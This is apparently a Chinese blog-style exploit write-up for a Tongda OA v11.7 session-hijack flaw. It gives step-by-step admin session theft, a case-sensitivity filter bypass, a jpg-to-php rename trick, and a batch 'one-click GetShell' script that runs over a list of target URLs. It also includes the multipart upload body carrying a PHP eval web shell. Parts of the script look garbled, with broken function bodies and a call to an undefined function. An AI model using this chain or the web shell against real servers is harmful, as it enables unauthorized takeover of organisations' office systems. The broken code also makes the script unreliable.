怎么实现通达OA v11.7 在线用户登录漏洞复现

通达OA v11.7 在线用户登录漏洞复现

一个类似于越权的漏洞，但是利用的方式确实比较特殊

访问漏洞页面获取phpsession

http://x.x.x.x/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0

可以看到我们已经获取到了phpsession，这个时候我们就可以访问他的后台页面了，但是如果页面显示RELOGIN说明存在漏洞但是管理员现在不在线，所以需要等他在线。

访问后台页面：

http://x.x.x.x/general/

查看本地的绝对路径

新建一个附件目录

这里需要注意：我们要添加一个路径为系统目录后面跟上webroot，但是webroot会被过滤，但是他没有检查大小写，所以我们改为Webroot就可以轻松绕过。

添加图片目录

这里唯一需要注意的是我们需要将发布范围里添加一个系统管理员，这样子才可以，路径的话呢还是webroot那个路径。

上传木马

然后我们添加一个文件，也就是我们的shell

这里需要注意的是，我们需要将我们的木马改为jpg后缀的，要不路径无法查看。

查看木马路径

这个时候记住这个文件名称，这个路径是固定的就是file_folder/2013下面就是我们的木马。

修改木马后缀

回到我们之前的上传页面，然后点击编辑。

鼠标放到我们木马上面，然后点击重命名。

我们会打开一个新的tab页面，我们使用火狐进行抓包：

先随便改个名字，点击保存，然后会拦截到一个post封包。

数据包格式大概是这个样子：

NEW_FILE_NAME=166&CONTENT_ID=118&FILE_SORT=2&ATTACHMENT_ID=2925%402103_1578257970&ATTACHMENT_NAME_POSTFIX=jpg&ATTACHMENT_NAME=2.jpg&FIRST_ATTACHMENT_NAME=2&FILE_NAME_OLD=2.jpg

我们需要将ATTACHMENT_NAME_POSTFIX属性修改为php（注意要加一个点）来完成这个步骤

然后重放这个数据包，就可以看到修改成功。

拼接木马路径

可以看到我们修改成功。

然后找到之前的文件名，然后将我们上传的原始的文件名(2.jpg)改为(166.php)，这个是根据你上传的路径以及改的名称来定的，然后路径的话呢还是file_folder/2013，我们就可以访问到我们的马子了。

一键GetShell脚本

脚本代码:

#define payload = /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
#define yinhao = "
#define Rootre = <td nowrap >(.*?)</td>
#define contentidre = "TableLine1" index="(.*?)" >
#define attachmentidre = ATTACHMENT_ID_OLD" value="(.*?),"
#define shellpathre = alt="(.*?)" node-image-tips
function GetCookie(url){
	res = HttpGet(url.payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
	if(StrFindStr(res[1],"PHPSESSID",0) == "-1"){
		return "";
	}
	PHPSESSID = GettextMiddle(res[1],"PHPSESS;");
	return PHPSESSID;
}
function JudgeOK(url,Cookie){
	res = HttpGet(url."/general/",Cookie);
	if(StrFindStr(res[0],"/static/js/ba/agent.js",0) == "-1"){
		return "0";
	}else{
		return "1";
	}

}
function GetRoot(content){
	list = StrRe(content,Rootre);
	num = GetArrayNum(list);
	num = num/2;
	i = 0;
	while(i<num){
		if(StrFindStr(list[ToInt(i*2+1)],":\",0) != "-1"){
			return list[ToInt(i*2+1)];
		}
		i = i+1;
	}
	return "";
}
function GetWebRoot(url,Cookie){
	res = HttpGet(url."/general/system/reg_view/",Cookie);
	return GetRoot(res[0]);
}
function AddPath(url,Root,Cookie){
	return HttpPost(url."/general/system/attachment/position/add.php","POS_ID=166&POS_NAME=166&POS_PATH=".URLEncode(Root."\WebRoot")."&IS_ACTIVE=on",Cookie);
}
function AddImgPath(url,Root,Cookie){
	return HttpPost(url."/general/system/picture/new/submit.php","TO_ID=&TO_NAME=&PRIV_ID=&PRIV_NAME=&ampCOPY_TO_ID=admin%2C&ampCOPY_TO_NAME=%CF%B5%CD%B3%B9%DC%C0%ED%D4%B1%2C&PIC_NAME=test&PIC_PATH=".URLEncode(Root."\webRoot")."&ROW_PIC=5&ROW_PIC_NUM=7",Cookie);
}
function PushImg(url,Content,Cookie){
	return HttpPost(url."/general/file_folder/new/submit.php",Content,Cookie.StrRN()."Content-Type: multipart/form-data; boundary=---------------------------33072116513621237124579432636");
}
function GetPICID(url,Cookie){
	res = HttpGet(url."/general/picture/tree.php?CUR_DIR=&PIC_ID=&_=1615284234507",Cookie);
	return GettextMiddle(res[0],"&PIC_/general/picture/picture_view.php?SUB_DIR=2103&PIC_&CUR_DIR=".URLEncode(StrReplace(Root,"\\","/"))."%2Fwebroot%2Ffile_folder%2F2103",Cookie);
	list = StrRe(res[0],shellpathre);
	num = GetArrayNum(list);
	num = num/2;
	i = 0;
	while(i<num){
		if(StrFindStr(list[ToInt(i*2+1)],"1.jpg",0) != "-1"){
			return list[ToInt(i*2+1)];
		}
		i = i+1;
	}
	return "";
}
function ChangeImgName(url,CONTENT,ATTACHMENT,Cookie){
	return HttpPost(url."/general/file_folder/rename_submit.php","NEW_FILE_NAME=166&CONTENT_&FILE_SORT=2&ATTACHMENT_&ATTACHMENT_NAME_POSTFIX=php.&ATTACHMENT_NAME=1.jpg&FIRST_ATTACHMENT_NAME=1&FILE_NAME_OLD=1.jpg",Cookie);
}
function GetCONTENTID(url,Cookie){
	res = HttpGet(url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0",Cookie);
	list = StrRe(res[0],contentidre);
	if(GetArrayNum(list) >= 2){
		return list[1];
	}
	return "";
}
function GetATTACHMENTID(url,CONTENTID,Cookie){
	res = HttpGet(url."/general/file_folder/edit.php?FILE_SORT=2&SORT_ID=0&CONTENT_&start=0",Cookie.StrRN()."Referer: ".url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0");
	list = StrRe(res[0],attachmentidre);
	if(GetArrayNum(list) >= 2){
		return list[1];
	}
	return "";
}
function GetShell(url){
	PHPSESSID = GetCookie(url);
	if(PHPSESSID == ""){
		return "";
	}
	Cookie = "Cookie: PHPSESS;".StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0";
	if(JudgeOK(url,Cookie)=="1"){
		WebRoot = GetWebRoot(url,Cookie);
		AddPath(url,WebRoot,Cookie);
		AddImgPath(url,WebRoot,Cookie);
		ShellPost = ReadFile("script\综合漏洞\OAShell.txt");
		PushImg(url,ShellPost,Cookie);
		path = GetImg(url,WebRoot,Cookie);
		CONTENTID = GetCONTENTID(url,Cookie);
		ATTACHMENTID=GetATTACHMENTID(url,CONTENTID,Cookie);
		ChangeImgName(url,CONTENTID,ATTACHMENTID,Cookie);
		realshellpath = url."/file_folder/2103/".StrReplace(path,"1.jpg","166.php");
		print("Shell路径:",realshellpath,"密码:test");
	}else{
		return "";
	}
}
function main(args){
	print("请输入要要检测的列表文件:");	
	list = StrSplit(ReadFile(input()),StrRN());
	i = 0;
	num = GetArrayNum(list);
	while(i < num){
		url=list[ToInt(i)];
		print("当前检测的连接:".url);
		GetShell(url);
		i=i+1;
	}
	print("检测完毕");
}

OAShell.txt：

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SUBJECT"

166.jpg
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="CONTENT_NO"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="TD_HTML_EDITOR_CONTENT"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="KEYWORD"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="NEW_NAME"

ÐÂ½¨ÎÄµµ
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="NEW_TYPE"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_1"; filename=""
Content-Type: application/octet-stream


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACH_NAME"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACH_DIR"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="DISK_ID"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_1000"; filename=""
Content-Type: application/octet-stream


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_DESC"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="CONTENT_ID"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="OP"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="PD"

1
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SORT_ID"

0
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_ID_OLD"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_NAME_OLD"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="FILE_SORT"

2
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="USE_CAPACITY"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="USE_CAPACITY_SIZE"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SHARE_USER"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_0"; filename="1.jpg"
Content-Type: image/jpeg

<?php @eval($_POST['test']); ?>
-----------------------------33072116513621237124579432636--

放一张例子截图：